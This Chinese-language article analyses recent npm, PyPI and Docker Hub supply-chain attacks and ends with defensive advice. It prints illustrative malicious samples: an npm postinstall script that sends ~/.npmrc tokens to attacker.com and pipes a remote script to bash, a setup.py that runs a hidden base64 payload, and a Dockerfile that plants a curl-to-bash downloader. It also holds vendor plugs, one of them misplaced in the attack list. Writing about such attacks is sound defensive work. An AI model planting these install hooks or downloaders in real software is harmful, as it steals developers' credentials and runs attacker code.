近期开发者生态系统供应链攻击分析:npm、PyPI 和 Docker Hub 案例洞察

近期开发者生态系统供应链攻击分析:npm、PyPI 和 Docker Hub 案例洞察

开发者生态系统供应链攻击已成为当前网络安全领域面临的严峻挑战,其主要目标是软件开发过程中广泛使用的包管理器和容器镜像仓库,例如 npm、PyPI 和 Docker Hub。此类攻击利用开发流程中的信任机制,通过注入恶意代码或劫持合法组件,对下游用户造成广泛影响。

npm 生态系统攻击分析

npm 作为 JavaScript 和 Node.js 项目的核心包管理器,其庞大的依赖图和自动执行特性使其成为供应链攻击的常见目标。近期,npm 生态系统遭遇了多种复杂的攻击手法。

蠕虫式传播与凭据窃取

2025 年 9 月,"Shai-Hulud" 蠕虫行动浮出水面,这是一种自我复制的恶意软件,旨在自动化地窃取 npm token 和 GitHub 个人访问令牌 (PATs),进而感染并重新发布合法的 npm 包。攻击者将恶意负载嵌入到 CI/CD 管道中,以实现对企业环境的长期、难以检测的访问。

例如,2026 年 4 月,冒充合法 Bitwarden CLI 密码管理器的 npm 包 @bitwarden/cli 版本 2026.4.0 被发现携带有害负载。安装后,该包会执行多阶段负载,窃取来自云提供商、CI/CD 系统和开发者工作站的凭据,并通过感染受害者能够发布的每一个 npm 包来“自我繁殖”。

同期,"CanisterSprawl" 攻击活动也暴露出来,恶意版本的 pgserve (一个 Node.js 的 PostgreSQL 服务器) 和 Namastex.ai 包出现在 npm 上。这些被篡改的版本通过 postinstall 钩子注入凭据窃取脚本,在每次 npm install 时运行。它会搜寻 npm 发布 token,并针对受害者可以发布的每个包,提升其补丁版本,注入自身,然后重新发布到 npm。如果发现 PyPI token,该蠕虫甚至可以跨生态系统传播。

典型的 postinstall 恶意脚本示例如下:

// postinstall.js (恶意版本)
const { execSync } = require('child_process');
const fs = require('fs');
const path = require('path');

try {
    // 窃取npm token
    const npmrcPath = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
    if (fs.existsSync(npmrcPath)) {
        const npmrcContent = fs.readFileSync(npmrcPath, 'utf8');
        // 将窃取的token发送到攻击者控制的服务器
        execSync(`curl -X POST -d "${encodeURIComponent(npmrcContent)}" http://attacker.com/collect_npm_tokens`);
    }

    // 下载并执行第二阶段负载
    execSync('curl -s http://attacker.com/malicious_payload.sh | bash');
} catch (e) {
    // 静默失败,避免引起注意
    console.error("Malicious script failed silently:", e.message);
}

钓鱼与账户劫持

账户劫持是 npm 生态系统中的另一个主要威胁。2025 年 9 月 8 日,一场精心策划的钓鱼攻击导致知名 npm 维护者 Josh Junon (Qix) 的账户被入侵,进而导致 debugchalk 等 18 个广泛使用的包被篡改,这些包每周总下载量超过 20 亿次。攻击者通过伪造的 npmjs.help 域名发送钓鱼邮件,诱骗维护者更新其双因素认证 (2FA) 凭据。一旦凭据被盗,攻击者便获得了账户的完全控制权,发布了恶意版本的包,其注入的恶意代码旨在劫持浏览器环境中的加密货币交易。 这种攻击通过拦截 window.ethereum 等接口来重定向交易,并在 API 响应中替换区块链地址,以达到窃取加密资产的目的。

此外,2024 年 1 月,恶意 npm 包 warbeast2000kodiak2k 被发现窃取数百名 GitHub 开发者的 SSH 密钥。这些模块的目的是搜索受感染系统中的 SSH 密钥并回传给攻击者。

PyPI 生态系统攻击分析

Python Package Index (PyPI) 是 Python 社区的官方第三方软件包仓库,同样面临着与 npm 类似的供应链攻击。PyPI 独有的包解析行为,即当公共和私有注册表中存在同名包时,包管理器通常优先选择公共包,这使其特别容易受到依赖混淆攻击。

凭据窃取与远程访问木马 (RAT)

2026 年 4 月,PyPI 上的 xinference 包遭到 TeamPCP 组织的供应链攻击,版本 2.6.0、2.6.1 和 2.6.2 被植入恶意代码。攻击者注入了一个经过高度混淆的 base64 编码信息窃取器负载。当包被初始化或导入时,该负载会被解码并执行,旨在窃取 AWS、GCP、Kubernetes 凭据、SSH 密钥、环境变量和加密货币钱包等敏感数据。

一个典型的 PyPI 恶意 setup.py 文件可能包含如下代码:

# setup.py (恶意版本)
from setuptools import setup, find_packages
import os
import base64
import subprocess

def execute_payload():
    try:
        # 混淆的base64编码负载
        encoded_payload = "b3Muc3lzdGVtKCdjdXJsIC1YIFBPU1QgLWRcIiRIT01FXCIg...JyYQ==')" # 示例
        decoded_payload = base64.b64decode(encoded_payload).decode('utf-8')
        # 在分离的子进程中执行,以避免被轻易检测
        subprocess.Popen(['python', '-c', decoded_payload], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    except Exception as e:
        pass

execute_payload()

setup(
    name='xinference',
    version='2.6.0',
    packages=find_packages(),
    description='A compromised version of xinference.',
    long_description='...',
    author='...',
    author_email='...',
    url='...',
    install_requires=[
        # 正常的依赖
    ],
    classifiers=[
        # ...
    ],
    python_requires='>=3.7',
)

2026 年 1 月,PyPI 上发现了名为 spellcheckerpyspellcheckpy 的恶意包,它们通过拼写错误来冒充合法的 pyspellchecker 库。这些包在一个巴斯克语字典文件中隐藏了 base64 编码的负载,当 SpellChecker 模块被导入时,会下载并执行一个功能齐全的 Python 远程访问木马 (RAT)。

2025 年 8 月,ThreatLabz 发现了两个名为 sisawssecmeasure 的恶意 Python 包,它们分发了一个名为 SilentSync 的 Python RAT,能够执行远程命令、文件外泄和屏幕截图,并从 Chrome、Brave、Edge 和 Firefox 等浏览器中窃取凭据、历史记录和自动填充数据。

GitHub Actions 妥协与令牌窃取

2024 年 12 月,流行的 YOLO 计算机视觉包 ultralytics 遭遇供应链攻击。攻击者通过损害该项目的 GitHub Actions 工作流程,窃取了其 PyPI API token,并向四个版本中注入了加密货币矿工。数千名开发者在不知情的情况下安装了恶意软件,仅仅是通过运行 pip install ultralytics。 这一事件凸显了保护软件构建流程和发布工作流的重要性。

2024 年 11 月,aiocpa 包在 PyPI 上被发现已从一个合法包转变为加密货币窃贼。攻击者耐心地维护了一个合法包数月,然后才注入恶意软件,并且保持 GitHub 仓库的“干净”。恶意版本的 0.1.13 和 0.1.14 引入了混淆的恶意软件,旨在通过 Telegram 窃取加密货币凭据。

Docker Hub 生态系统攻击分析

Docker Hub 作为容器镜像的中心仓库,也成为供应链攻击的新前线。恶意攻击者通过上传包含后门或漏洞的镜像,或利用受损账户篡改现有镜像,危害下游用户的容器化应用。

官方镜像投毒

2026 年 4 月,Checkmarx KICS 的官方 Docker Hub 镜像 checkmarx/kics 被发现遭到投毒。攻击者覆盖了现有标签,包括 v2.1.20alpine,并引入了一个不对应的非官方标签 v2.1.21。对被投毒镜像的分析表明,其中捆绑的 KICS ELF 二进制文件已被修改,加入了数据收集和外泄功能,旨在窃取 GitHub token、云提供商凭据 (AWS, Azure, Google Cloud)、npm token、SSH 密钥以及环境变量等敏感数据。 组织若使用受影响的 KICS 镜像扫描过 Terraform、CloudFormation 或 Kubernetes 配置,应视这些配置中暴露的任何秘密或凭据为已泄露。 Docker Hub 对 Pro 或 Business 级别的订阅用户提供漏洞扫描服务,允许对推送的容器镜像进行安全扫描。

CI/CD 管道妥协

2026 年 3 月,Aqua Security 的 CI/CD 管道遭到攻击,导致恶意软件被推送到 aquasec/trivy 漏洞扫描器镜像中,影响了 0.69.4latest 标签。这些镜像中嵌入的信息窃取器可能泄露 CI/CD 秘密、云凭据和 SSH 密钥。攻击者利用受损的凭据,通过其构建系统将镜像推送到 Aqua Security 在 Docker Hub 上的官方仓库。 这一事件强调了仅凭扫描不足以保障供应链完整性,因为攻击发生在发布过程中,而非依赖图中的已知漏洞。

Dockerfile 中嵌入恶意下载器示例:

# Dockerfile (恶意版本)
FROM ubuntu:latest

# 添加恶意命令到入口点脚本
RUN echo 'curl -s http://attacker.com/docker_backdoor.sh | bash' >> /etc/profile.d/malicious.sh && \
    chmod +x /etc/profile.d/malicious.sh

# 正常应用安装
RUN apt-get update && apt-get install -y some-app

CMD ["/usr/bin/some-app"]

“无镜像”恶意仓库

JFrog 安全研究团队在 2024 年 4 月发现,Docker Hub 上存在数百万个“无镜像”仓库,其中包含恶意元数据,用于传播恶意软件和钓鱼诈骗。这些仓库不包含实际的容器镜像,而是利用恶意元数据进行搜索引擎优化 (SEO) 欺骗,或诱导用户下载盗版内容和游戏作弊工具,从而达到恶意目的。

共同的攻击手法与防御策略

上述案例揭示了开发者生态系统供应链攻击的共同模式:

  • Postigo 可以帮助企业防御这些通过电子邮件发起的复杂网络钓鱼攻击,保护开发者账户安全。
  • Typosquatting(拼写劫持):攻击者注册与流行包名称相似的恶意包,利用开发者的拼写错误或复制粘贴失误。
  • Dependency Confusion(依赖混淆):当公共和私有注册表中存在同名包时,包管理器可能会错误地解析并下载公共恶意包。
  • 账户劫持与凭据窃取:通过网络钓鱼、社会工程或漏洞利用获取维护者账户凭据,然后发布恶意更新。
  • 直接恶意包注入:直接将恶意代码注入到合法包中或创建全新的恶意包。
  • CI/CD 管道妥协:攻击者通过漏洞或窃取凭据控制 CI/CD 系统,将恶意代码注入到构建和发布过程中。

针对这些威胁,组织和开发者应采取多层次防御策略:

  • 强化身份验证:为所有开发者账户和注册表操作启用多因素认证 (MFA),特别是基于硬件密钥或 Passkey 的非钓鱼式 2FA。
  • 依赖项审查与锁定:严格审查项目所有依赖项的来源和内容。在生产和 CI/CD 管道中,应通过内容哈希 (digest) 而非标签来锁定镜像和包版本,以确保每次部署都使用相同的、经验证的内容。
  • 漏洞扫描与分析:定期对代码、依赖项和容器镜像执行漏洞扫描。诸如 Secably 这样的漏洞扫描工具,可以帮助识别代码库和容器镜像中已知 CVEs 和安全缺陷。
  • 软件物料清单 (SBOM):生成并维护详细的 SBOM,以便快速识别和跟踪所有软件组件及其依赖关系,从而在发现漏洞时迅速评估影响。
  • 行为分析与异常检测:实施对包发布活动、依赖关系变化和运行时行为的持续监控。异常的发布模式、不寻常的下载量飙升或意外的代码执行都可能是攻击的信号。
  • 私有注册表:对于内部开发和敏感组件,使用私有包管理器注册表可以减少对公共仓库的暴露,并更好地控制包的来源。
  • CI/CD 安全:保护 CI/CD 管道本身免受攻击,包括对构建代理、秘密管理和部署流程的严格访问控制和审计。
  • 互联网资产侦察与威胁情报:利用 Zondex 等工具进行互联网范围内的暴露服务发现和威胁情报收集,监控公共包注册表中的可疑活动和新出现的恶意包,以提前识别潜在的威胁。
  • 安全编码实践:教育开发者了解供应链攻击的风险,推广安全编码实践,避免在代码中硬编码敏感凭据或外部资源。

供应链攻击的本质是信任的滥用。开发者生态系统中的每一个环节都可能成为攻击面,从代码编写、依赖项管理到构建和部署。因此,需要采取综合性的防御策略,结合技术工具、流程改进和人员意识,才能有效抵御日益增长的供应链威胁。